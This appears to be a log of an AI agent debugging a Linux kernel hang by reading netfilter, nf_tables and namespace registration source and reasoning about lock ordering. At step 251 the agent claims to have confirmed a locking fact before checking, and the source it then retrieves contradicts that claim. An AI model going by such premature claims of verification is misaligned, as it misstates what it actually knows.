map[Kind:global_variable Name:ipv4_synproxy_ops] map[Kind:global_variable Name:ipv6_synproxy_ops] map[Kind:global_variable Name:synproxy_cpu_seq_ops] map[Kind:global_variable Name:synproxy_net_ops]]]
|
| 249/2 |
2026/05/31 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 78769
output: 43
thoughts: 13
Thoughts: Okay, here's my take on those thoughts, framed as an expert's internal monologue:
**Initial Assessment: Understanding the Initialization Function**
Alright, let's see... `synproxy_core_init`. That's the initialization function. So, we're talking about the starting point of the SYN proxy core, the very foundation upon which everything else will be built. This function will be responsible for setting up the fundamental data structures, allocating resources, registering any necessary handlers, and essentially getting the whole SYN proxy mechanism ready to go. I'll need to know what this function actually *does* in detail. Is it handling memory allocation? Initializing internal states? Setting up network connections or socket structures? Are there any dependencies? Knowing the specifics of what `synproxy_core_init` does is crucial for understanding how the entire system operates.
|
| 250/2 |
2026/05/31 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_synproxy_core.c Name:synproxy_core_init]
Results: map[SourceCode: 382: static int __init synproxy_core_init(void)
383: {
384: return register_pernet_subsys(&synproxy_net_ops);
385: }
SourceFile:net/netfilter/nf_synproxy_core.c]
|
| 251/2 |
2026/05/31 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 79098
output: 40
thoughts: 57
Thoughts: **Verifying the Locking Mechanism in `register_pernet_subsys`**
Okay, so I'm digging into the network subsystem initialization and I need to be absolutely sure about the locking. I see that `register_pernet_subsys` uses `pernet_ops_rwsem`, which is good, but I need to confirm something crucial. Does `register_pernet_subsys` also take the `rtnl_lock()`? That's the real question. It's a key piece of the puzzle for understanding concurrent access.
Aha! Yes, it does. Excellent. My understanding is correct, and I can move forward with confidence knowing that `register_pernet_subsys` utilizes `rtnl_lock()` as part of its locking strategy. Now, let's just make sure, let's verify.
|
| 252/2 |
2026/05/31 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/net_namespace.c Name:register_pernet_subsys]
Results: map[SourceCode:1409: /**
1410: * register_pernet_subsys - register a network namespace subsystem
1411: * @ops: pernet operations structure for the subsystem
1412: *
1413: * Register a subsystem which has init and exit functions
1414: * that are called when network namespaces are created and
1415: * destroyed respectively.
1416: *
1417: * When registered all network namespace init functions are
1418: * called for every existing network namespace. Allowing kernel
1419: * modules to have a race free view of the set of network namespaces.
1420: *
1421: * When a new network namespace is created all of the init
1422: * methods are called in the order in which they were registered.
1423: *
1424: * When a network namespace is destroyed all of the exit methods
1425: * are called in the reverse of the order with which they were
1426: * registered.
1427: */
1428: int register_pernet_subsys(struct pernet_operations *ops)
1429: {
1430: int error;
1431: down_write(&pernet_ops_rwsem);
1432: error = register_pernet_operations(first_device, ops);
1433: up_write(&pernet_ops_rwsem);
1434: return error;
1435: }
SourceFile:net/core/net_namespace.c]
|
| 253/2 |
2026/05/31 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 79818
output: 39
thoughts: 47
Thoughts: Okay, let me think this through.
**Analyzing Kernel Registration and Locking Mechanisms**
Alright, I'm taking a look at this `register_pernet_subsys` function...and something's not quite clicking. I'm seeing that it's expecting `pernet_ops_rwsem` as an argument. That makes sense, you'd think, as a read-write semaphore is a decent concurrency control mechanism. My immediate question is: am I mixing up my locking paradigms here? The mental flag that just went up is: I was expecting something like `rtnl_lock()` in that spot. I need to make sure I’m not confusing the two.
So, the key now is to check `register_pernet_operations`. Does *that* function utilize `rtnl_lock()`? I need to clarify if these registration functions have a consistent or variable approach to locking for network subsystem components. This difference will influence how I design interactions with these modules down the line. That's my next point of inquiry.
|
| 254/2 |
2026/05/31 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/net_namespace.c Name:register_pernet_operations]
Results: map[SourceCode:1371: static int register_pernet_operations(struct list_head *list,
1372: struct pernet_operations *ops)
1373: {
1374: int error;
1375:
1376: if (WARN_ON(!!ops->id ^ !!ops->size))
1377: return -EINVAL;
1378:
1379: if (ops->id) {
1380: error = ida_alloc_min(&net_generic_ids, MIN_PERNET_OPS_ID,
1381: GFP_KERNEL);
1382: if (error < 0)
1383: return error;
1384: *ops->id = error;
1385: /* This does not require READ_ONCE as writers already hold
1386: * pernet_ops_rwsem. But WRITE_ONCE is needed to protect
1387: * net_alloc_generic.
1388: */
1389: WRITE_ONCE(max_gen_ptrs, max(max_gen_ptrs, *ops->id + 1));
1390: }
1391: error = __register_pernet_operations(list, ops);
1392: if (error) {
1393: rcu_barrier();
1394: if (ops->id)
1395: ida_free(&net_generic_ids, *ops->id);
1396: }
1397:
1398: return error;
1399: }
SourceFile:net/core/net_namespace.c]
|
| 255/2 |
2026/05/31 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 80577
output: 40
thoughts: 0
|
| 256/2 |
2026/05/31 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/net_namespace.c Name:__register_pernet_operations]
Results: map[SourceCode:1301: static int __register_pernet_operations(struct list_head *list,
1302: struct pernet_operations *ops)
1303: {
1304: LIST_HEAD(net_exit_list);
1305: struct net *net;
1306: int error;
1307:
1308: list_add_tail(&ops->list, list);
1309: if (ops->init || ops->id) {
1310: /* We held write locked pernet_ops_rwsem, and parallel
1311: * setup_net() and cleanup_net() are not possible.
1312: */
1313: for_each_net(net) {
1314: error = ops_init(ops, net);
1315: if (error)
1316: goto out_undo;
1317: list_add_tail(&net->exit_list, &net_exit_list);
1318: }
1319: }
1320: return 0;
1321:
1322: out_undo:
1323: /* If I have an error cleanup all namespaces I initialized */
1324: list_del(&ops->list);
1325: ops_undo_single(ops, &net_exit_list);
1326: return error;
1327: }
SourceFile:net/core/net_namespace.c]
|
| 257/2 |
2026/05/31 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 81031
output: 43
thoughts: 53
Thoughts: Okay, here's my interpretation of those thoughts, presented as my own mental process:
**Diving into Per-Net Operations Initialization**
Alright, let's see... I'm looking at the `__register_pernet_operations` function, and a key observation pops into my head: there's no call to `rtnl_lock()` in here. This is important, as it usually plays a vital role in ensuring serialization and preventing race conditions during critical network operations. I'll need to keep that in mind as I dig deeper.
Aha! Wait a minute, the `ops_init` function is called, and that is going to, in turn, call `ops->init`. This is interesting because the actual initialization logic, specific to each per-net operation, is handled via a function pointer. I need to know what those operations initialize.
For the `synproxy_net_ops` structure, I see the `init` function is defined as `synproxy_net_init`. So, the `synproxy_net_init` function will be called during the initialization process for this particular network operation. This makes sense. The code design follows a common pattern: a general registration function, followed by a specific initialization routine, and I need to consider what's going to be initialized to ensure that they are done without race conditions.
|
| 258/2 |
2026/05/31 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_synproxy_core.c Name:synproxy_net_init]
Results: map[SourceCode: 330: static int __net_init synproxy_net_init(struct net *net)
331: {
332: struct synproxy_net *snet = synproxy_pernet(net);
333: struct nf_conn *ct;
334: int err = -ENOMEM;
335:
336: ct = nf_ct_tmpl_alloc(net, &nf_ct_zone_dflt, GFP_KERNEL);
337: if (!ct)
338: goto err1;
339:
340: if (!nfct_seqadj_ext_add(ct))
341: goto err2;
342: if (!nfct_synproxy_ext_add(ct))
343: goto err2;
344:
345: __set_bit(IPS_CONFIRMED_BIT, &ct->status);
346: snet->tmpl = ct;
347:
348: snet->stats = alloc_percpu(struct synproxy_stats);
349: if (snet->stats == NULL)
350: goto err2;
351:
352: err = synproxy_proc_init(net);
353: if (err < 0)
354: goto err3;
355:
356: return 0;
357:
358: err3:
359: free_percpu(snet->stats);
360: err2:
361: nf_ct_tmpl_free(ct);
362: err1:
363: return err;
364: }
SourceFile:net/netfilter/nf_synproxy_core.c]
|
| 259/2 |
2026/05/31 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 81927
output: 43
thoughts: 1225
Thoughts: **Analyzing a Potential Infinite Loop in `nfnetlink_rcv_batch` and Its Implications**
Okay, so I'm looking at this issue, and the first thing that jumps out is the absence of `rtnl_lock()` in `nft_synproxy`. That's good, so at least `nft_synproxy` isn't directly holding up the lock. But, what I'm concerned about is why `crda_timeout_work` might be blocked on that lock. Could it be that an infinite loop somewhere is starving the CPU that the `crda_timeout_work` is scheduled on?
The bug report doesn't explicitly pinpoint the lock holder, but `crda_timeout_work` being in state `D` strongly suggests it's sleeping on a lock, likely `rtnl_mutex`. If it's a lock, then someone else has it! Is it a `kworker` thread, or something similar?
Alright, let's consider the infinite loop scenario. If `nfnetlink_rcv_batch` loops without end, it would consume 100% CPU. That in turn can lead to RCU stalls, hung tasks, and so on. If another task holds `rtnl_mutex`, and gets starved, that's what could cause `crda_timeout_work` to hang.
The crucial point here is preemption. If the kernel is compiled without `CONFIG_PREEMPT`, or with `CONFIG_PREEMPT_VOLUNTARY`, a tight loop *without* `cond_resched()` won't be preempted. Let's dig into `nfnetlink_rcv_batch` to check if `cond_resched()` is present. And nope! There it is, that's just a simple loop:
```
replay:
...
goto replay;
```
It doesn't have `cond_resched()`! That's concerning...
But wait! `request_module` calls `call_modprobe`, which *might* sleep. If it sleeps, it reschedules, and so we aren't stuck... Except! If `req->done` is true, then `nft_request_module` returns 0, and that bubbles up as an `ENOENT` error, right? Because `nft_expr_type_request_module` will return 0, then `nft_expr_type_get` will return `-ENOENT`. Then `nf_tables_expr_parse` returns `-ENOENT`, `nf_tables_newrule` returns `-ENOENT`. So eventually, `nfnetlink_rcv_batch` should recognize the `-ENOENT` and move on by setting `status |= NFNL_BATCH_FAILURE` and going to the `ack` label and then to `done:`.
At `done:`, the code calls `ss->abort(net, oskb, NFNL_ABORT_NONE)`. This calls `nf_tables_abort`, which in turn calls `nf_tables_module_autoload_cleanup`. Then it breaks and returns! It *shouldn't* loop infinitely then, right?
But then I remember something about commit `1d305ba40eb8` saying something about a loop... it said "nft will loop forever if the kernel doesn't support an expression".
Okay, let's re-read the commit message. Here's what's happening:
1. `nft_expr_type_get()` appends the family-specific name to the module list.
2. `-EAGAIN` is returned to nfnetlink, which calls abort path.
3. Abort path sets `->done` to true and calls `request_module` for the expression.
4. nfnetlink replays the batch, and we end up in `nft_expr_type_get()` again.
5. `nft_expr_type_get` attempts to append the family-specific name. It already exists, so it continues.
6. `nft_expr_type_get` adds the generic expression name. `-EAGAIN` is returned, the abort path is called.
7. The abort path *encounters* the family-specific expression which has `'done'` set, so it gets *removed*.
8. The abort path requests the generic expression name, sets `done` to true.
9. Batch is replayed.
Okay! Crucially, the old code in step 7 *removed* the family-specific entry if it had `done` set. Let's look at the old code:
```c
list_for_each_entry_safe(req, next, &module_list, list) {
if (
|
| 260/2 |
2026/05/31 10:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_module_autoload]
Results: map[SourceCode:11173: static void nf_tables_module_autoload(struct net *net)
11174: {
11175: struct nftables_pernet *nft_net = nft_pernet(net);
11176: struct nft_module_request *req, *next;
11177: LIST_HEAD(module_list);
11178:
11179: list_splice_init(&nft_net->module_list, &module_list);
11180: mutex_unlock(&nft_net->commit_mutex);
11181: list_for_each_entry_safe(req, next, &module_list, list) {
11182: request_module("%s", req->module);
11183: req->done = true;
11184: }
11185: mutex_lock(&nft_net->commit_mutex);
11186: list_splice(&module_list, &nft_net->module_list);
11187: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 261/2 |
2026/05/31 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 84529
output: 48
thoughts: 791
Thoughts: **Analyzing the Module Request Flow**
Okay, so I'm diving into this module request logic, trying to understand potential infinite loops. It looks like the initial patch, `1d305ba40eb8`, fixed the most obvious issue by setting `req->done = true` after calling `request_module`. That seems straightforward; it prevents re-requesting the same module immediately. However, I'm concerned about a subtle sequence.
My thought process continues: what if `request_module` returns, the `nfnetlink_rcv_batch` function replays, and the *same* module is requested again? Since `req->done` is true, `nft_request_module` would return 0. Then, this 0 return is passed through multiple layers: `nft_expr_type_request_module`, `nft_expr_type_get`, `nf_tables_expr_parse`, `nf_tables_newrule`. Ultimately, `-ENOENT` propagates up to `nfnetlink_rcv_batch`. `nfnetlink_rcv_batch` handles this error, sets `status |= NFNL_BATCH_FAILURE`, and goes to the `ack` and `done` labels. At `done:`, the abort function `ss->abort(net, oskb, NFNL_ABORT_NONE)` is called. This function, `nf_tables_abort`, cleans up by calling `nf_tables_module_autoload_cleanup`, which removes all requests. So, it seems like there is NO infinite loop. That's a relief.
But now, what if the reproducer sends multiple rules in a batch, each requesting a different module? I'm looking at the payload: `syz0`, `syz2`, and `synproxy`. It's creating multiple rules or expressions. If there's a large number of these, it might take a while, but it appears to be a reasonable number.
Now, I need to consider a potential hang scenario. What if `request_module` hangs? Why would it hang? Ah, it might be that `modprobe` is trying to load `nft_synproxy`. It looks like this module calls `nf_ct_netns_get`. But, wait, `nft_synproxy_do_init` calls `nf_ct_netns_get`. It's called when the rule is initialized, which is AFTER the module is loaded. So, `modprobe` should just load the module, and the module init function just registers the expression. Then `modprobe` exits, and the batch replays.
In the replay, `nf_tables_newrule` calls `nft_expr_init`, which calls `nft_synproxy_do_init`. That's where it gets interesting. `nft_synproxy_do_init` *again* calls `nf_ct_netns_get`. If `ctx->family` is `NFPROTO_BRIDGE`, it calls `nf_ct_netns_do_get` which calls `request_module("nf_conntrack_bridge")`! Hold on... `nf_ct_netns_do_get` holds `nf_ct_proto_mutex`!
|
| 262/2 |
2026/05/31 10:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_conntrack_proto.c Name:nf_ct_netns_do_get]
Results: map[SourceCode: 435: static int nf_ct_netns_do_get(struct net *net, u8 nfproto)
436: {
437: struct nf_conntrack_net *cnet = nf_ct_pernet(net);
438: bool fixup_needed = false, retry = true;
439: int err = 0;
440: retry:
441: mutex_lock(&nf_ct_proto_mutex);
442:
443: switch (nfproto) {
444: case NFPROTO_IPV4:
445: cnet->users4++;
446: if (cnet->users4 > 1)
447: goto out_unlock;
448: err = nf_defrag_ipv4_enable(net);
449: if (err) {
450: cnet->users4 = 0;
451: goto out_unlock;
452: }
453:
454: err = nf_register_net_hooks(net, ipv4_conntrack_ops,
455: ARRAY_SIZE(ipv4_conntrack_ops));
456: if (err)
457: cnet->users4 = 0;
458: else
459: fixup_needed = true;
460: break;
461: #if IS_ENABLED(CONFIG_IPV6)
462: case NFPROTO_IPV6:
463: cnet->users6++;
464: if (cnet->users6 > 1)
465: goto out_unlock;
466: err = nf_defrag_ipv6_enable(net);
467: if (err < 0) {
468: cnet->users6 = 0;
469: goto out_unlock;
470: }
471:
472: err = nf_register_net_hooks(net, ipv6_conntrack_ops,
473: ARRAY_SIZE(ipv6_conntrack_ops));
474: if (err)
475: cnet->users6 = 0;
476: else
477: fixup_needed = true;
478: break;
479: #endif
480: case NFPROTO_BRIDGE:
481: if (!nf_ct_bridge_info) {
482: if (!retry) {
483: err = -EPROTO;
484: goto out_unlock;
485: }
486: mutex_unlock(&nf_ct_proto_mutex);
487: request_module("nf_conntrack_bridge");
488: retry = false;
489: goto retry;
490: }
491: if (!try_module_get(nf_ct_bridge_info->me)) {
492: err = -EPROTO;
493: goto out_unlock;
494: }
495: cnet->users_bridge++;
496: if (cnet->users_bridge > 1)
497: goto out_unlock;
498:
499: err = nf_register_net_hooks(net, nf_ct_bridge_info->ops,
500: nf_ct_bridge_info->ops_size);
501: if (err)
502: cnet->users_bridge = 0;
503: else
504: fixup_needed = true;
505: break;
506: default:
507: err = -EPROTO;
508: break;
509: }
510: out_unlock:
511: mutex_unlock(&nf_ct_proto_mutex);
512:
513: if (fixup_needed) {
514: struct nf_ct_iter_data iter_data = {
515: .net = net,
516: .data = (void *)(unsigned long)nfproto,
517: };
518: nf_ct_iterate_cleanup_net(nf_ct_tcp_fixup, &iter_data);
519: }
520:
521: return err;
522: }
SourceFile:net/netfilter/nf_conntrack_proto.c]
|
| 263/2 |
2026/05/31 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 87333
output: 47
thoughts: 209
Thoughts: **Deadlock Possibility: A Conntrack Bridge Conundrum**
Okay, so here's what's bothering me. I was tracing through `nf_ct_netns_do_get` and thought I had it figured out, specifically around how it handles the interaction with `nf_conntrack_bridge`. I saw that it *releases* `nf_ct_proto_mutex` *before* calling `request_module("nf_conntrack_bridge")`. That seemed safe enough; no mutex held during module loading. But hold on, the picture isn't complete! Now I'm looking at `nf_tables_newrule`, and it calls this with `commit_mutex` *held*.
That's the kicker! This means `request_module("nf_conntrack_bridge")` *is* actually called with `commit_mutex` held. My mind immediately jumps to a potential deadlock scenario. If `modprobe`, or more accurately, the process of loading this module, were to acquire `rtnl_lock()`, and something else is holding `rtnl_lock()` while simultaneously trying to acquire `commit_mutex`, we're in trouble! We'd have a classic circular dependency situation.
The big question now is, does `modprobe` actually take `rtnl_lock()`? I can't definitively say without verification. And even if *it* doesn't directly, what about the init function of `nf_conntrack_bridge` itself? Does *that* take `rtnl_lock()` at some point during its initialization? That's the critical piece of information I need to confirm or rule out this deadlock risk. Time to dive into the `nf_conntrack_bridge` init function and see what it's up to.
|
| 264/2 |
2026/05/31 10:49 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:net/bridge/netfilter/nf_conntrack_bridge.c Name:nf_ct_bridge_init]
Results: map[SourceCode: SourceFile:]
|
| 265/2 |
2026/05/31 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 87993
output: 35
thoughts: 0
|
| 266/2 |
2026/05/31 10:49 |
tool |
codesearch-file-index |
0m
Args: map[SourceFile:net/bridge/netfilter/nf_conntrack_bridge.c]
Results: map[Entities:[map[Kind:function Name:br_skb_cb_restore] map[Kind:function Name:br_skb_cb_save] map[Kind:function Name:nf_br_ip_fragment] map[Kind:function Name:nf_conntrack_l3proto_bridge_fini] map[Kind:function Name:nf_conntrack_l3proto_bridge_init] map[Kind:function Name:nf_ct_br_defrag4] map[Kind:function Name:nf_ct_br_defrag6] map[Kind:function Name:nf_ct_br_ip_check] map[Kind:function Name:nf_ct_br_ipv6_check] map[Kind:function Name:nf_ct_bridge_frag_restore] map[Kind:function Name:nf_ct_bridge_frag_save] map[Kind:function Name:nf_ct_bridge_in] map[Kind:function Name:nf_ct_bridge_post] map[Kind:function Name:nf_ct_bridge_pre] map[Kind:function Name:nf_ct_bridge_refrag] map[Kind:function Name:nf_ct_bridge_refrag_post] map[Kind:global_variable Name:__UNIQUE_ID___addressable_nf_conntrack_l3proto_bridge_init2256] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2257] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2258] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2259] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2260] map[Kind:global_variable Name:__exitcall_nf_conntrack_l3proto_bridge_fini] map[Kind:global_variable Name:bridge_info] map[Kind:global_variable Name:nf_ct_bridge_hook_ops]]]
|
| 267/2 |
2026/05/31 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 88563
output: 53
thoughts: 20
Thoughts: Okay, here's my take on those thoughts, tailored for an expert audience, and written as if they were my own immediate considerations:
**Initial Thoughts on `nf_conntrack_l3proto_bridge_init`**
Alright, so `nf_conntrack_l3proto_bridge_init`... that's the initialization function, isn't it? Right. My brain immediately jumps to what that means in the grand scheme of things. It's the point where we're bringing up the connection tracking module's support for bridged networks. That initial hook sets up the fundamental data structures, registers necessary callbacks, and generally integrates the L3 protocol handling into the connection tracking infrastructure, specifically for bridging. It sets the stage for how connection tracking will work when it sees traffic traversing a bridge.
This suggests that it likely deals with things like registering specific netfilter hooks within the bridge context. It will need to handle how the connection tracking module *sees* packets that are part of a bridged network, especially how it deals with Ethernet frames that may, or may not, have L3 headers.
Thinking about the implications, the init function is responsible for the crucial initial configuration for the bridge protocol. It must be very carefully crafted to address the specifics of connection tracking within bridged network setups. I'd need to consider how this handles the complexities of bridging with respect to connection tracking, such as how it deals with MAC address learning and routing considerations at the L2 layer. I’m also immediately thinking about how this initialization function potentially interacts with other related modules, like those dealing with ARP and NDP in the bridged environment. The performance and efficiency of the connections could depend on the implementation of this function.
|
| 268/2 |
2026/05/31 10:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/bridge/netfilter/nf_conntrack_bridge.c Name:nf_conntrack_l3proto_bridge_init]
Results: map[SourceCode: 438: static int __init nf_conntrack_l3proto_bridge_init(void)
439: {
440: nf_ct_bridge_register(&bridge_info);
441:
442: return 0;
443: }
SourceFile:net/bridge/netfilter/nf_conntrack_bridge.c]
|
| 269/2 |
2026/05/31 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 89109
output: 45
thoughts: 10
Thoughts: Okay, here's my interpretation of that thought process, tailored for an expert audience, and presented as if it were my own internal monologue:
**Investigating `nf_ct_bridge_register`**
Right, `nf_ct_bridge_register`. My mind immediately jumps to the Netfilter Connection Tracking module. I know that function's signature and likely purpose. It's a registration function, but what's being registered specifically in this bridge context? This points me directly to the part of the Netfilter code dealing with bridging. My brain starts firing off questions:
* Is this a registration of a connection tracking helper?
* Is it related to registering a bridge-specific hook for connection tracking?
* Am I dealing with a new feature, a bug fix, or a performance optimization within the bridge CT integration?
* What kernel version am I dealing with? Could it be related to changes after the introduction of Bridge Netfilter?
I have to consider the nuances of how connection tracking works in a bridged environment. It's not a straightforward process like in a routed setup. The bridge needs its own connection tracking context to handle the layer 2 aspects of the traffic.
So, I need to know the context of its use, and what it relates to within the larger framework. This function call itself could be the source of a subtle bug, or an intended behavior. Time to delve into the surrounding code...
|
| 270/2 |
2026/05/31 10:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_conntrack_proto.c Name:nf_ct_bridge_register]
Results: map[SourceCode: 623: void nf_ct_bridge_register(struct nf_ct_bridge_info *info)
624: {
625: WARN_ON(nf_ct_bridge_info);
626: mutex_lock(&nf_ct_proto_mutex);
627: nf_ct_bridge_info = info;
628: mutex_unlock(&nf_ct_proto_mutex);
629: }
SourceFile:net/netfilter/nf_conntrack_proto.c]
|
| 271/2 |
2026/05/31 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 89617
output: 45
thoughts: 200
Thoughts: **Analyzing Potential Race Conditions in Netfilter Conntrack and NFTables**
Okay, so I'm diving into this code, trying to figure out where a potential race condition could be hiding. The key here is that `nf_conntrack_bridge` doesn't explicitly grab the `rtnl_lock()`, which immediately raises a flag. I need to figure out where a race condition could exist.
My initial thought was that `request_module` might be the culprit. Specifically, if it's called for a Netfilter Netlink subsystem, maybe `nfnetlink-subsys-10`, which we know represents NFTables. But, hang on... `nfnetlink_rcv_batch` should have failed earlier if that module weren't loaded, so that's a dead end.
Okay, let's explore `nft-expr-synproxy`. No, we checked that already. `nft_synproxy_module_init` doesn't take the `rtnl_lock()` either. That's good, one less thing to worry about.
Wait a second. What if the reproducer is crafting a chain with type `nat`? That's the key. Let's see if `request_module` is called for `nft-chain-1-nat` at any point and if there's any lock contention there. I should check `nf_tables_chain_type_lookup` to see. The potential issue revolves around how the module loading and chain creation interacts. I need to confirm if those interactions can lead to a race.
|
| 272/2 |
2026/05/31 10:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_chain_type_lookup]
Results: map[SourceCode:1112: static const struct nft_chain_type *
1113: nf_tables_chain_type_lookup(struct net *net, const struct nlattr *nla,
1114: u8 family, bool autoload)
1115: {
1116: const struct nft_chain_type *type;
1117:
1118: type = __nf_tables_chain_type_lookup(nla, family);
1119: if (type != NULL)
1120: return type;
1121:
1122: lockdep_nfnl_nft_mutex_not_held();
1123: #ifdef CONFIG_MODULES
1124: if (autoload) {
1125: if (nft_request_module(net, "nft-chain-%u-%.*s", family,
1126: nla_len(nla),
1127: (const char *)nla_data(nla)) == -EAGAIN)
1128: return ERR_PTR(-EAGAIN);
1129: }
1130: #endif
1131: return ERR_PTR(-ENOENT);
1132: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 273/2 |
2026/05/31 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 90553
output: 49
thoughts: 101
Thoughts: **Analyzing a Network Error**
Okay, so I'm seeing this `-EAGAIN` error when the system requests `nft-chain-1-nat`. My immediate thought is, this is a classic case of resource contention or a temporary unavailability. The `nfnetlink_rcv_batch` function is aborting, which triggers a module load and replay. This is interesting – it seems the system is detecting the missing component and trying to dynamically resolve the issue.
Now, I need to understand *why* this specific module is being loaded. I'm assuming that the module responsible for `nft-chain-1-nat` is something like `nft_chain_nat_ipv4`, or something equally descriptive. Let's confirm that. The critical piece of information here is whether its init function takes `rtnl_lock()`. If it does, there's a good chance there is a conflict. I should check `nft_chain_nat_ipv4`'s init function directly to understand the locking behavior. I can find the answer there.
|
| 274/2 |
2026/05/31 10:49 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:net/ipv4/netfilter/nft_chain_nat.c Name:nft_chain_nat_ipv4_init]
Results: map[SourceCode: SourceFile:]
|
| 275/2 |
2026/05/31 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 90946
output: 34
thoughts: 0
|
| 276/2 |
2026/05/31 10:50 |
tool |
codesearch-file-index |
0m
Error:
Args: map[SourceFile:net/ipv4/netfilter/nft_chain_nat.c]
Results:
|
| 277/2 |
2026/05/31 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 91001
output: 31
thoughts: 19
Thoughts: Okay, here's my interpretation of that thought process, tailored for an expert audience, and presented as if it were my own internal monologue:
**Diving into NAT Chain Implementation**
Alright, that's it then. The code I'm looking for is in `net/netfilter/nft_chain_nat.c`. Straightforward enough; the kernel's netfilter subsystem and specifically, the Network Address Translation (NAT) chain implementation. This file likely contains the core logic for how NAT rules are parsed, applied, and managed within the Netfilter framework using the nftables infrastructure. I’m betting this includes the structure definitions for the NAT chain itself, the hooks for integrating with different NAT types (SNAT, DNAT, etc.), and the crucial functions that handle the packet rewriting and forwarding. I'll need to pay close attention to the interaction with the conntrack module, of course, as NAT's effectiveness is closely tied to connection tracking. Time to drill down and see how they’ve handled the intricacies of address mapping and port translation. Let's see what’s inside.
|
| 278/2 |
2026/05/31 10:50 |
tool |
codesearch-file-index |
0m
Args: map[SourceFile:net/netfilter/nft_chain_nat.c]
Results: map[Entities:[map[Kind:function Name:nft_chain_nat_exit] map[Kind:function Name:nft_chain_nat_init] map[Kind:function Name:nft_nat_do_chain] map[Kind:function Name:nft_nat_inet_reg] map[Kind:function Name:nft_nat_inet_unreg] map[Kind:global_variable Name:__UNIQUE_ID___addressable_nft_chain_nat_init2203] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2204] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2205] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2206] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2207] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2208] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2209] map[Kind:global_variable Name:__exitcall_nft_chain_nat_exit] map[Kind:global_variable Name:nft_chain_nat_inet] map[Kind:global_variable Name:nft_chain_nat_ipv4] map[Kind:global_variable Name:nft_chain_nat_ipv6]]]
|
| 279/2 |
2026/05/31 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 91648
output: 43
thoughts: 0
|
| 280/2 |
2026/05/31 10:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_chain_nat.c Name:nft_chain_nat_init]
Results: map[SourceCode: 108: static int __init nft_chain_nat_init(void)
109: {
110: #ifdef CONFIG_NF_TABLES_IPV6
111: nft_register_chain_type(&nft_chain_nat_ipv6);
112: #endif
113: #ifdef CONFIG_NF_TABLES_IPV4
114: nft_register_chain_type(&nft_chain_nat_ipv4);
115: #endif
116: #ifdef CONFIG_NF_TABLES_INET
117: nft_register_chain_type(&nft_chain_nat_inet);
118: #endif
119:
120: return 0;
121: }
SourceFile:net/netfilter/nft_chain_nat.c]
|
| 281/2 |
2026/05/31 10:50 |
llm |
expert |
0m
Model:
Tokens:
input: 91932
output: 45
thoughts: 91
Thoughts: Okay, let me think this through.
**Analyzing Potential Lock Contention in Netfilter Reproducer**
Hmm, no `rtnl_lock()` in the direct reproducer path. That's a good start. But, I need to consider all the indirect call paths. What if the trigger actually causes `nf_tables_commit` to be called, and *that* function is the one grabbing `rtnl_lock()`? I need to rule that out. Okay, let me quickly double-check the `nf_tables_commit` implementation... Nope, I'm pretty sure I already looked at this, and it doesn't take `rtnl_lock()` directly.
Hold on a second... `nf_tables_commit` does call `nf_tables_commit_chain_prepare` though, doesn't it? Okay, I need to follow the execution path further. Does *that* function acquire the lock? This is where the potential issue might lie, I better investigate that function. I have to verify that nested call, or I'll be chasing my tail.
|
| 282/2 |
2026/05/31 10:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_commit_chain_prepare]
Results: map[SourceCode:10261: static int nf_tables_commit_chain_prepare(struct net *net, struct nft_chain *chain)
10262: {
10263: const struct nft_expr *expr, *last;
10264: struct nft_regs_track track = {};
10265: unsigned int size, data_size;
10266: void *data, *data_boundary;
10267: struct nft_rule_dp *prule;
10268: struct nft_rule *rule;
10269:
10270: /* already handled or inactive chain? */
10271: if (chain->blob_next || !nft_is_active_next(net, chain))
10272: return 0;
10273:
10274: data_size = 0;
10275: list_for_each_entry(rule, &chain->rules, list) {
10276: if (nft_is_active_next(net, rule)) {
10277: data_size += sizeof(*prule) + rule->dlen;
10278: if (data_size > INT_MAX)
10279: return -ENOMEM;
10280: }
10281: }
10282:
10283: chain->blob_next = nf_tables_chain_alloc_rules(chain, data_size);
10284: if (!chain->blob_next)
10285: return -ENOMEM;
10286:
10287: data = (void *)chain->blob_next->data;
